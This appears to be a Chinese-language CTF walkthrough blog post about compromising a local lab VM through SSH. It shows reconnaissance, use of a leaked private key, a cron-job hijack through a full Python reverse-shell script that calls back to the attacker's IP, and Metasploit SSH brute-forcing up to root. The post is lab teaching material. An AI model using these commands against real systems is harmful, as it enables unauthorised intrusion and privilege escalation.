「安全笔记」 CTF-SSH 服务测试

环境搭建

注意这里的靶场由于版本的问题,只能使用VM VirtualBox安装,攻击机用kali Linux在VMware上安装,这里有个坑,在配置网络的时候,全部选择桥接模式,但是VMware下 编辑->虚拟网络编辑器->更改设置->nat0网卡桥接到的外部网络需要和VirtualBox桥接到的一致,不然搜索不到网络,而且桥接模式模拟真实计算机在网络中,利用本机网卡来获取地址的。所以必须连接在同一网络环境下。

靶机连接在文章最底部

正式开始

我这里kali Linux 的ip地址是 192.168.43.141
靶机的ip地址是 192.168.43.197
首先我们用netdiscover -r 192.168.43.1/24 扫描目标网络主机,找到靶机ip地址

然后用nmap扫描开放端口,这里介绍下nmap常用的几个命令
探测开放的服务与服务的版本
nmap -sV ip
探测全部信息
nmap -A -v ip
探测操作系统类型与版本
nmap -O ip
这里我们用namp -sV 192.168.43.197 探测靶机开放的服务

接下来我们对收集的信息进行分析
对于ssh服务开放的靶机,首先考虑
+ 暴力破解
+ 私钥泄露(有没有对应的密码,有没有用户名泄露)
对于开放http服务的80端口或者其他端口的靶场,首先考虑
+ 通过浏览器访问对应的靶场http服务
+ 使用探测工具进行目录探测

接下来我们挖掘敏感信息
首先先对http服务进行探测,我们访问页面发现这是一个公司介绍,abouts里有对应的名字,猜测可能是登陆的用户名。

接下来我们扫描目录
对于扫描结果我们逐条阅读,首先是一个files目录,打开发现没有东西,接下来打开icons,发现里面有一条奇怪的文件,打开发现是id_ras(私钥)

利用wget http://192.168.43.197/icons/VDSoyuAXiO.txt下载下来
将他名称修改为id_rsa
然后我们尝试利用刚才挖掘的用户名登陆
首先修改权限chmod 600 id_rsa
然后登陆服务器 ssh -i id_rsa martin@192.168.43.197
提示密码我们直接回车,发现没有密码

登陆后需要扩大战果,可以进行以下操作。
+ 查看当前用户 whoami
+ id 查看当前用户的权限
+ 查看根目录寻找flag
很可惜我们并不是root,那么就需要其他的操作了,因为一般来说,flag属于root

我们可以一查看这些目录,进行提权

/etc/passwd 查看所有用户的列表
/etc/group 查看用户组
或者
find / -user 用户名 查看属于某些用户的文件
/tmp 查看缓冲文件

查看用户列表发现我们猜测的用户都存在。

在排查完这些文件之后,发现我们需要的信息都不存在,那么我们就需要深入挖掘
我们可以通过 /etc/crontab 这个文件。这个文件是设定系统定期执行的任务。如果说在这个目录下有某个用户的计划文件,但是具体目录下没有这个文件。那么我们就可以经行创建反弹shell,然后用netcat监听获得用户的权限。
如果存在那么可以查看有无执行权限

我们输入cat /etc/crontab查看这个文件,发现目录下有个jimmy用户的python文件每五分钟执行一次,进入指定目录查看发现没有那个文件。那么我们就可以利用这个文件经行反弹shell
我们编写一个tcp客户端来反弹shell

#!/usr/bin/python
import os,subprocess,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.connect(("192.168.43.141",1234))#注意这里是kali的ip和你在netcat上监听地端口
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

将这个文件保存在/tmp目录下然后命名为sekurity.py,并使用chmod +x sekurity.py设置可执行权限。在kali上使用netcat监听端口。
kali上输入nc -lpv 1234等个几分钟就会看到返回的shell。输入whoami发现是jimmy,成功反弹shell。但是查看用户发现并不是root,那么这个方式也失败了。

那么我们只能使用暴力破解了
这里我们使用比较知名的cupp创建个性化字典。

git clone https://github.com/jeanphorn/common-password.git #注意安装git命令
chmod +x cupp.py
./cupp.py -i #以交互方式创建字典

创建时你可以生成自己喜欢的字典:-p我这里除了末尾随即字符选了y其他全部回车

然后使用msfconsole进行爆破

msf > use auxiliary/scanner/ssh/ssh_login
msf > show options #查看参数列表
msf > set rhosts  192.168.43.197 #靶机ip
msf > set username hadi
msf > set set pass_file /root/桌面/tools/common-password/hadi.txt #cupp生成的密码文件地址
msf > set set threads 5 #设置线程
msf > run #开始爆破

成功爆破出密码hadi123
这时候我们使用session -i 1连接会话,
python -c "import pty;pty.spawn('/bin/bash')"优化显示
然后使用su - root提升权限,这时候我们就是root了,然后就可以为所欲为了。

cat flag.txt 就得到了flag啦。


相关下载

点击下载

参与评论